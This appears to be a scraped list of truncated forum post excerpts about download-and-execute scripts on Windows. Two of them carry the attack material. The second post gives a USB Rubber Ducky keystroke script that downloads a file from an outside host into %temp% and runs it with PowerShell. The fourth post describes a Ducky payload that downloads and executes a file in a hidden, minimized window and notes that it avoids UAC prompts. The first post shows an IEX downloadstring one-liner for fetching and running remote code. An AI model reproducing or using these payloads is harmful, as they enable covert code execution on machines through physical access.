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  1. Hi This is my first question here hope someone can help I have converted puty.exe to putty.vbs and also I have also tried convert the exe to base64 Im trying to download (both vbs and base64 exe) it but Im not being able to succeed the vbs is on "https://www.codepile.net/raw/rjzpdEKZ.vbs" but https://www.codepile.net/raw/rjzpdEKZ works too I have tried 1 - IEX (new-object net.webclient).downloadstring("https://www.codepile.net/raw/rjzpdEKZ") 2 - Invoke-Expression -Command $([string]([System.Text.Encoding]::Unicode.Ge
  2. Hello! This is my first post and contribute to this community, one of hopefully many. I am yet to receive my rubber ducky, so while waiting i thought i give writing some scripts a go. I consider the rubber ducky to be the mother of physical access exploits, being able to deploy anything in a very short period of time. DELAY 750 GUI r DELAY 1000 STRING powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://myhost.com/script.txt', '%temp%/run.vbs') ;Start-Process '%temp%/run.vbs'}" DELAY 500 ENTER Above is a basic rubber ducky script that downloads
  3. Hey guys. So I'm creating an auto-run USB Drive for the guys in my shop to further help automate the update/re-image process. I'm a little rusty on my VB. Here's my code in it's current state: x=MsgBox("Do not be afraid, vital software update is in progress. Please direct any errors to your System Administrator",0, "Derek's Auto Update") Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "C:\updates\Firefox Setup Stub 25.0.1" d=MsgBox("Is the Firefox installation Complete",4, "I have a question for you.") if d=vbYes then e=MsgBox("Please download the installer from http://mo
  4. I have tested this on windows 7, but nothing else. Still need to test what happens if you run this from a crazy locked down account, but so far it seems to work fine without ever prompting for UAC or complaining about permission issues. REM This payload will download a given file, save it to the user's home directory, and execute it. Works great for VBS files. REM Make sure the file terminates quickly, as the window will stay open until it does. But the window will be blank and minimized. DELAY 10000 GUI r DELAY 200 REM Move the run dialog out of the way ALT SPACE DELAY 20 STRING M DO
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